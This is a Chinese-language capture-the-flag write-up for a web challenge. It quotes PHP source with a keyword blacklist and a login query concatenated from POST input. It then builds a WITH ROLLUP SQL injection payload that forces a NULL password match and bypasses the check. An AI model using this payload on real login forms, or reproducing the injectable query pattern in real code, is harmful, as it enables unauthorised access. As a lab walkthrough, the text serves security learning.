题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php
通读源码,得知出flag的条件
1.需要post提交uname以及pwd,否则直接die了
1 if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { 2 echo '<form action="" method="post">'."<br/>"; 3 echo '<input name="uname" type="text"/>'."<br/>"; 4 echo '<input name="pwd" type="text"/>'."<br/>"; 5 echo '<input type="submit" />'."<br/>"; 6 echo '</form>'."<br/>"; 7 echo '<!--source: source.txt-->'."<br/>"; 8 die; 9 }
2.所提交的数据不能包含以下所有关键字(and|select|from|where|union|join|sleep|benchmark|,|\(|\)),否则exit;
1 function AttackFilter($StrKey,$StrValue,$ArrReq){ 2 if (is_array($StrValue)){ 3 $StrValue=implode($StrValue); 4 } 5 if (preg_match("/".$ArrReq."/is",$StrValue)==1){ 6 print "水可载舟,亦可赛艇!"; 7 exit(); 8 } 9 } 10 11 $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; 12 foreach($_POST as $key=>$value){ 13 AttackFilter($key,$value,$filter); 14 }
3.通过sql查询必须得到一条数据,且数据库中的pwd字段要和post传递的pwd相等
1 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; 2 $query = mysql_query($sql); 3 if (mysql_num_rows($query) == 1) { 4 $key = mysql_fetch_array($query); 5 if($key['pwd'] == $_POST['pwd']) { 6 print "CTF{XXXXXX}"; 7 }else{ 8 print "亦可赛艇!"; 9 } 10 }else{ 11 print "一颗赛艇!"; 12 }
也就是如果我们同时知道数据库中的uname和pwd的话就可以通过,可问题是我们并不知道,所以就需要进行注入,自行构造。
mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;
看到有些信息汇总后是NULL,我想要pwd变成NULL,提交的pwd也填空,由此便可以构造
uname: ' or 1 group by pwd with rollup limit 1#
pwd: (空的)
后台的语句便是
SELECT * FROM interest WHERE uname = '' or 1 group by pwd with rollup limit 1#'
即为
SELECT * FROM interest WHERE uname = ' ' or 1 group by pwd with rollup limit 1
可是看到并没有绕过,为什么呢?
我猜想数据库的数据应该是这样的
我们sql语句执行的结果就应是这样的
因为limit 1默认就返回第一条,而我们当然需要的是第三条(此时并不知道服务器上有几条,所以应该自己慢慢测试),所以
这样子我们post的pwd是空,sql查询返回的pwd是NULL(空),自然相等了,于是构造
uname: ' or 1 group by pwd with rollup limit 1 offset 2#
pwd: (空的)